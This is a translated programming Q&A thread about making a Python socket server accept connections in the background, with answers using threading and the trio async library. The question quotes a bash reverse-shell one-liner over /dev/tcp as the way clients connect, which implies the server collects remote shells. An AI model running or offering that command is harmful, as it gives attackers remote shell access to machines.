如何在后台接受新的连接请求?

时间:2019-06-29 07:29:43

标签: python sockets networking multiprocessing asyncio

我有一个服务器,它接受来自客户端的连接请求。客户端使用以下命令发送连接请求:bash -i > /dev/tcp/ip/port 0<&1 1>&1。我希望服务器立即接受新的连接请求并将其记录到控制台,但我不知道如何。在下面的代码中有while循环。如我们所见,command_accept()需要完成自身才能使client_accept()启动。这意味着我总是需要传递一些命令来接受新的客户端请求。我需要client_accept()始终在后台运行。

我试图为输入设置时间限制,但这不是我需要的解决方案。我也不确定异步编程是否尝试了不同的库。

import socket
import time
import sys


host = '127.0.0.1'
port = 1344
id_counter = 0

server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.settimeout(0.1)

server.bind((host, port))
server.listen()

clients = {}

def client_accept(server):
    while True:
        try:
            conn, addr = server.accept()
            global id_counter
            id_counter += 1
            clients[id_counter] = (conn, addr)
            print(f'{time.ctime()} New client [ID {id_counter}] with address {str(addr[0])}:{str(addr[1])}')
        except socket.timeout:
            break

def command_accept():
    command = input('server > ')
    #** don't pay attention **#
    if command == 'exit':
        sys.exit()
    else:
        print(f'command {command} accepted!')   

while True:
    command_accept()
    client_accept(server)

预期结果:我没有将任何内容传递给command_accept的输入,但是如果新客户端发送了请求,则服务器将立即接受它并打印类似地址为127.0.0.1:45431的新客户端[ID 1]。 / p>

2 个答案:

答案 0 :(得分:0)

尝试使用socket.io和Threading进行此操作,因此,如果套接字发生ON_CONNECT事件,则只需将信息推送到列表中,然后将其打印到控制台即可。

答案 1 :(得分:0)

作为实验trio异步库的借口,我将您的代码移植到了该库中

首先为客户端连接定义一个简单的类,并跟踪它们的代码:

from sys import stderr
from itertools import count

class Client:
    def __init__(self, stream):
        self.stream = stream

    async def run(self):
        lines = LineReader(self.stream)
        while True:
            line = (await lines.readline()).decode('ascii')
            if not line or line.strip().casefold() in {'quit', 'exit'}:
                await self.stream.send_all(b'bye!\r\n')
                break
            resp = f'got {line!r}'
            await self.stream.send_all(resp.encode('ascii') + b'\r\n')

CLIENT_COUNTER = count()
CLIENTS = {}

async def handle_client(stream):
    client_id = next(CLIENT_COUNTER)
    client = Client(stream)
    async with stream:
        CLIENTS[client_id] = client
        try:
            await client.run()
        except Exception as err:
            print('client failed', err, file=stderr)
        finally:
            del CLIENTS[client_id]

LineReader来自这里:https://stackoverflow.com/a/53576829/1358308

接下来,我们可以定义服务器标准输入处理:

async def handle_local(nursery):
    while True:
        try:
            command = await async_input('server > ')
        except EOFError:
            command = 'exit'

        if command == 'exit':
            nursery.cancel_scope.cancel()
        elif command == 'list':
            for id, client in CLIENTS.items():
                print(id, client.stream.socket.getpeername())
        else:
            print(f'unknown command {command!r}')

签出info about nurseries的文档

这使用实用程序功能将input包装成async function

import trio

async def async_input(prompt=None):
    return await trio.run_sync_in_worker_thread(
        input, prompt, cancellable=True)

然后我们定义将所有部分捆绑在一起的代码:

SERVE_HOST = 'localhost'
SERVE_PORT = 1344


async def async_main():
    async with trio.open_nursery() as nursery:
        nursery.start_soon(handle_local, nursery)

        await trio.serve_tcp(
            handle_client,
            port=SERVE_PORT, host=SERVE_HOST,
            handler_nursery=nursery)

trio.run(async_main)

更多链接/参考(由三人的作者撰写):